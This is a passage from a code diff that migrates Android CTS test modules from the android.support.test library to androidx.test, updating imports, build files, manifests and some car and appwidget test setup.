+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/app/src/android/app/cts/PictureInPictureParamsBuilderTest.java b/tests/tests/app/src/android/app/cts/PictureInPictureParamsBuilderTest.java
index 639c4d1..4b12120 100644
--- a/tests/tests/app/src/android/app/cts/PictureInPictureParamsBuilderTest.java
+++ b/tests/tests/app/src/android/app/cts/PictureInPictureParamsBuilderTest.java
@@ -22,10 +22,11 @@
 import android.app.PictureInPictureParams;
 import android.app.PictureInPictureParams.Builder;
 import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Rational;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/app/src/android/app/cts/RemoteActionTest.java b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
index 9763d46..2f71ed4 100644
--- a/tests/tests/app/src/android/app/cts/RemoteActionTest.java
+++ b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
@@ -22,9 +22,10 @@
 import android.content.Intent;
 import android.graphics.drawable.Icon;
 import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/appcomponentfactory/Android.mk b/tests/tests/appcomponentfactory/Android.mk
index c3c9939..c6434f5 100644
--- a/tests/tests/appcomponentfactory/Android.mk
+++ b/tests/tests/appcomponentfactory/Android.mk
@@ -28,8 +28,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    android-support-test \
+    ctstestrunner-axt \
+    androidx.test.rules \
     junit
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/appcomponentfactory/AndroidManifest.xml b/tests/tests/appcomponentfactory/AndroidManifest.xml
index 0d0e8bf..d943327 100644
--- a/tests/tests/appcomponentfactory/AndroidManifest.xml
+++ b/tests/tests/appcomponentfactory/AndroidManifest.xml
@@ -31,7 +31,7 @@
             android:authorities="android.app.componentfactory.cts" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.app.componentfactory.cts"
                      android:label="CTS tests of android.app">
         <meta-data android:name="listener"
diff --git a/tests/tests/appcomponentfactory/src/android/app/componentfactory/cts/AppComponentFactoryTest.java b/tests/tests/appcomponentfactory/src/android/app/componentfactory/cts/AppComponentFactoryTest.java
index 2717a1a..b2acd0e 100644
--- a/tests/tests/appcomponentfactory/src/android/app/componentfactory/cts/AppComponentFactoryTest.java
+++ b/tests/tests/appcomponentfactory/src/android/app/componentfactory/cts/AppComponentFactoryTest.java
@@ -19,8 +19,9 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/appwidget/Android.mk b/tests/tests/appwidget/Android.mk
index ae33c1b..493fcab 100644
--- a/tests/tests/appwidget/Android.mk
+++ b/tests/tests/appwidget/Android.mk
@@ -28,9 +28,9 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     mockito-target-minus-junit4 \
-    ctstestrunner \
+    ctstestrunner-axt \
     junit \
-    compatibility-device-util
+    compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/appwidget/AndroidManifest.xml b/tests/tests/appwidget/AndroidManifest.xml
index 46daf85..c772bc9 100644
--- a/tests/tests/appwidget/AndroidManifest.xml
+++ b/tests/tests/appwidget/AndroidManifest.xml
@@ -69,7 +69,7 @@
 
   </application>
 
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
       android:targetPackage="android.appwidget.cts"
       android:label="Tests for the app widget APIs.">
       <meta-data android:name="listener"
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 2bb7dee..3fa0948 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -90,10 +90,10 @@
     }
 
     private static final String GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND =
-            "appwidget grantbind --package android.appwidget.cts --user 0";
+            "appwidget grantbind --package android.appwidget.cts --user %d";
 
     private static final String REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND =
-            "appwidget revokebind --package android.appwidget.cts --user 0";
+            "appwidget revokebind --package android.appwidget.cts --user %d";
 
     @AppModeInstant(reason = "Instant apps cannot provide or host app widgets")
     @Test
@@ -1344,11 +1344,13 @@
     }
 
     private void grantBindAppWidgetPermission() throws Exception {
-        runShellCommand(GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND);
+        runShellCommand(String.format(GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND,
+                Process.myUserHandle().getIdentifier()));
     }
 
     private void revokeBindAppWidgetPermission() throws Exception {
-        runShellCommand(REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND);
+        runShellCommand(String.format(REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND,
+                Process.myUserHandle().getIdentifier()));
     }
 
     private AppWidgetProviderInfo getFirstAppWidgetProviderInfo() {
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
index 3352d12..8a04915 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
@@ -26,8 +26,9 @@
 import android.content.ComponentName;
 import android.content.pm.PackageManager;
 import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/assist/Android.mk b/tests/tests/assist/Android.mk
index f9bc56d..36ec735 100644
--- a/tests/tests/assist/Android.mk
+++ b/tests/tests/assist/Android.mk
@@ -24,7 +24,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/assist/AndroidManifest.xml b/tests/tests/assist/AndroidManifest.xml
index 0114ef5..feff7c4 100644
--- a/tests/tests/assist/AndroidManifest.xml
+++ b/tests/tests/assist/AndroidManifest.xml
@@ -45,7 +45,7 @@
       </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.assist.cts"
                      android:label="CTS tests of android.assist">
         <meta-data android:name="listener"
diff --git a/tests/tests/assist/service/Android.mk b/tests/tests/assist/service/Android.mk
index 218ed6b..f989776 100644
--- a/tests/tests/assist/service/Android.mk
+++ b/tests/tests/assist/service/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/background/Android.mk b/tests/tests/background/Android.mk
index 67f4f54..b2512ce 100755
--- a/tests/tests/background/Android.mk
+++ b/tests/tests/background/Android.mk
@@ -21,11 +21,11 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
diff --git a/tests/tests/background/AndroidManifest.xml b/tests/tests/background/AndroidManifest.xml
index 0caffdf..f42da76 100755
--- a/tests/tests/background/AndroidManifest.xml
+++ b/tests/tests/background/AndroidManifest.xml
@@ -24,7 +24,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.app.cts.backgroundrestrictions"
         android:label="CTS tests for background restrictions">
         <meta-data android:name="listener"
diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
index a8320ff..a951fc0 100644
--- a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
@@ -24,13 +24,14 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.AmUtils;
-import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -57,7 +58,7 @@
      * receiver.
      */
     @Test
-    @CddTest(requirement="3.5/C-0-6")
+    @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
     public void testNonSupportedBroadcastsNotDelivered_runtimeReceiver() throws Exception {
 
         // Need a reference here to initialize it in a lambda.
@@ -85,7 +86,7 @@
      */
     @AppModeFull(reason = "Instant apps don't get to run in the background.")
     @Test
-    @CddTest(requirement="3.5/C-0-6")
+    @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
     public void testNonSupportedBroadcastsNotDelivered_manifestReceiver() throws Exception {
         // Need a reference here to initialize it in a lambda.
         final AtomicReference<BroadcastReceiver> receiverRef = new AtomicReference<>();
diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/MyReceiver.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/MyReceiver.java
index cb05a00..21701ed 100644
--- a/tests/tests/background/src/android/app/cts/backgroundrestrictions/MyReceiver.java
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/MyReceiver.java
@@ -19,7 +19,8 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Consumer;
diff --git a/tests/tests/batterysaving/Android.mk b/tests/tests/batterysaving/Android.mk
index 8ba95d6..3dd2fbf 100755
--- a/tests/tests/batterysaving/Android.mk
+++ b/tests/tests/batterysaving/Android.mk
@@ -22,11 +22,11 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     BatterySavingCtsCommon \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/batterysaving/AndroidManifest.xml b/tests/tests/batterysaving/AndroidManifest.xml
index 392a7aa..3e4062a 100755
--- a/tests/tests/batterysaving/AndroidManifest.xml
+++ b/tests/tests/batterysaving/AndroidManifest.xml
@@ -20,7 +20,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.os.cts.batterysaving"
         android:label="CTS tests for battery saving features">
         <meta-data android:name="listener"
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk b/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
index f1ebee6..59246a3 100644
--- a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
+++ b/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
@@ -26,10 +26,10 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     BatterySavingCtsCommon \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
+    compatibility-device-util-axt \
     ub-uiautomator
 
 LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.mk b/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
index e21ff4c..717ce3b 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
+++ b/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
@@ -26,10 +26,10 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     BatterySavingCtsCommon \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
+    compatibility-device-util-axt \
     ub-uiautomator
 
 LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/batterysaving/common/Android.mk b/tests/tests/batterysaving/common/Android.mk
index 6feec10..1328461 100644
--- a/tests/tests/batterysaving/common/Android.mk
+++ b/tests/tests/batterysaving/common/Android.mk
@@ -21,10 +21,10 @@
     $(call all-proto-files-under, proto)
 
 LOCAL_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target \
-    compatibility-device-util \
+    compatibility-device-util-axt \
     android.test.runner.stubs
 
 LOCAL_MODULE_TAGS := optional
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
index 2546045..4fc9dd6 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
@@ -41,11 +41,12 @@
 import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.SetAlarmRequest;
 import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.StartServiceRequest;
 import android.os.cts.batterysaving.common.Values;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.ThreadUtils;
 
 import org.junit.After;
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverBgServiceTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverBgServiceTest.java
index 904cb48..3df0dd2 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverBgServiceTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverBgServiceTest.java
@@ -31,8 +31,9 @@
 import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload;
 import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest;
 import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.StartServiceRequest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
index cbb3fdc..61032d3 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
@@ -36,10 +36,11 @@
 import android.provider.Settings;
 import android.provider.Settings.Global;
 import android.provider.Settings.Secure;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CallbackAsserter;
 import com.android.compatibility.common.util.RequiredFeatureRule;
 import com.android.compatibility.common.util.TestUtils.RunnableWithThrow;
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
index 5f29008..0b414a0 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
@@ -22,8 +22,9 @@
 import static org.junit.Assert.assertFalse;
 
 import android.os.PowerManager;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
index 4aef998..cbfaca9 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
@@ -15,6 +15,7 @@
  */
 package android.os.cts.batterysaving;
 
+import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
 import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryReset;
 import static com.android.compatibility.common.util.BatteryUtils.turnOnScreen;
 import static com.android.compatibility.common.util.SystemUtil.runCommandAndPrintOnLogcat;
@@ -26,9 +27,11 @@
 import android.location.LocationManager;
 import android.os.BatteryManager;
 import android.os.PowerManager;
-import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.BatteryUtils;
 import com.android.compatibility.common.util.BeforeAfterRule;
 import com.android.compatibility.common.util.OnFailureRule;
 
@@ -60,15 +63,14 @@
     private final BeforeAfterRule mInitializeAndCleanupRule = new BeforeAfterRule() {
         @Override
         protected void onBefore(Statement base, Description description) throws Throwable {
-            // Don't run any battery saver tests on wear.
-            final PackageManager pm = getPackageManager();
-            Assume.assumeFalse(pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
+            BatteryUtils.assumeBatterySaverFeature();
 
             turnOnScreen(true);
         }
 
         @Override
         protected void onAfter(Statement base, Description description) throws Throwable {
+            enableBatterySaver(false);
             runDumpsysBatteryReset();
             turnOnScreen(true);
         }
diff --git a/tests/tests/bluetooth/Android.mk b/tests/tests/bluetooth/Android.mk
index 3fdb872..ab06e93 100644
--- a/tests/tests/bluetooth/Android.mk
+++ b/tests/tests/bluetooth/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
 LOCAL_JAVA_LIBRARIES += android.test.base.stubs
 
diff --git a/tests/tests/bluetooth/AndroidManifest.xml b/tests/tests/bluetooth/AndroidManifest.xml
index 4eb9cd9..45b05c1 100644
--- a/tests/tests/bluetooth/AndroidManifest.xml
+++ b/tests/tests/bluetooth/AndroidManifest.xml
@@ -29,7 +29,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.bluetooth.cts"
                      android:label="CTS tests of bluetooth component">
         <meta-data android:name="listener"
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
index cb59a0a3..1853741 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
@@ -30,12 +30,13 @@
 import android.content.pm.PackageManager;
 import android.os.ParcelUuid;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 import android.util.Log;
 import android.util.SparseArray;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.Collections;
diff --git a/tests/tests/calendarcommon/Android.mk b/tests/tests/calendarcommon/Android.mk
index bfd9f26..3d7c046 100644
--- a/tests/tests/calendarcommon/Android.mk
+++ b/tests/tests/calendarcommon/Android.mk
@@ -25,7 +25,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/calendarcommon/AndroidManifest.xml b/tests/tests/calendarcommon/AndroidManifest.xml
index 951404aa..ad94354 100644
--- a/tests/tests/calendarcommon/AndroidManifest.xml
+++ b/tests/tests/calendarcommon/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.calendarcommon2.cts"
                      android:label="CTS tests of calendarcommon">
         <meta-data android:name="listener"
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index 7310085..7104159 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -24,7 +24,10 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	androidx.test.rules \
+	compatibility-device-util-axt \
+	ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.car android.test.base.stubs
 
diff --git a/tests/tests/car/AndroidManifest.xml b/tests/tests/car/AndroidManifest.xml
index 984d896..6399af5 100644
--- a/tests/tests/car/AndroidManifest.xml
+++ b/tests/tests/car/AndroidManifest.xml
@@ -17,11 +17,23 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.car.cts">
     <uses-feature android:name="android.hardware.type.automotive" />
+    <uses-permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT" />
+    <uses-permission android:name="android.car.permission.CAR_INFO" />
+    <uses-permission android:name="android.car.permission.CAR_POWERTRAIN" />
+    <uses-permission android:name="android.car.permission.CAR_SPEED" />
+    <uses-permission android:name="android.permission.BLUETOOTH" />
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
     <application>
         <uses-library android:name="android.test.runner" />
+        <activity android:name=".drivingstate.DistractionOptimizedActivity">
+            <meta-data android:name="distractionOptimized" android:value="true"/>
+        </activity>
+        <activity android:name=".drivingstate.NonDistractionOptimizedActivity">
+            <meta-data android:name="distractionOptimized" android:value="false"/>
+        </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.car.cts"
                      android:label="CTS tests for Automotive">
         <meta-data android:name="listener"
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index c931169..558e7be 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -23,4 +23,5 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.car.cts" />
     </test>
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.CarModuleController"/>
 </configuration>
diff --git a/tests/tests/car/src/android/car/cts/CarApiTestBase.java b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
index d982c1b..71db227 100644
--- a/tests/tests/car/src/android/car/cts/CarApiTestBase.java
+++ b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
@@ -16,18 +16,26 @@
 
 package android.car.cts;
 
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
 import android.car.Car;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.ServiceConnection;
 import android.os.IBinder;
 import android.os.Looper;
-import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.FeatureUtil;
+
+import org.junit.After;
 
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
-
-public class CarApiTestBase extends AndroidTestCase {
+public abstract class CarApiTestBase {
     protected static final long DEFAULT_WAIT_TIMEOUT_MS = 1000;
 
     private Car mCar;
@@ -39,18 +47,21 @@
         assertTrue(Looper.getMainLooper().isCurrentThread());
     }
 
-    @Override
     protected void setUp() throws Exception {
-        super.setUp();
-        mCar = Car.createCar(getContext(), mConnectionListener, null);
+        assumeTrue(FeatureUtil.isAutomotive());
+
+        Context context =
+                InstrumentationRegistry.getInstrumentation().getTargetContext();
+        mCar = Car.createCar(context, mConnectionListener, null);
         mCar.connect();
         mConnectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mCar.disconnect();
+    @After
+    public void disconnectCar() throws Exception {
+        if (mCar != null) {
+            mCar.disconnect();
+        }
     }
 
     protected synchronized Car getCar() {
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index 2dd0a81..f7379f4 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -15,30 +15,42 @@
  */
 package android.car.cts;
 
-import static android.car.CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED;
 import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION;
 import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.car.Car;
 import android.car.CarAppFocusManager;
+import android.content.Context;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
-import org.junit.Assert;
-
-
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarAppFocusManagerTest extends CarApiTestBase {
     private static final String TAG = CarAppFocusManagerTest.class.getSimpleName();
     private CarAppFocusManager mManager;
 
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
         mManager = (CarAppFocusManager) getCar().getCarManager(Car.APP_FOCUS_SERVICE);
         assertNotNull(mManager);
@@ -57,6 +69,7 @@
 
     }
 
+    @Test
     public void testSetActiveNullListener() throws Exception {
         try {
             mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, null);
@@ -66,6 +79,7 @@
         }
     }
 
+    @Test
     public void testRegisterNull() throws Exception {
         try {
             mManager.addFocusListener(null, 0);
@@ -75,6 +89,7 @@
         }
     }
 
+    @Test
     public void testRegisterUnregister() throws Exception {
         FocusChangedListerner listener = new FocusChangedListerner();
         FocusChangedListerner listener2 = new FocusChangedListerner();
@@ -84,10 +99,14 @@
         mManager.removeFocusListener(listener2);
     }
 
+    @Test
     public void testFocusChange() throws Exception {
+        Context context =
+                InstrumentationRegistry.getInstrumentation().getTargetContext();
+
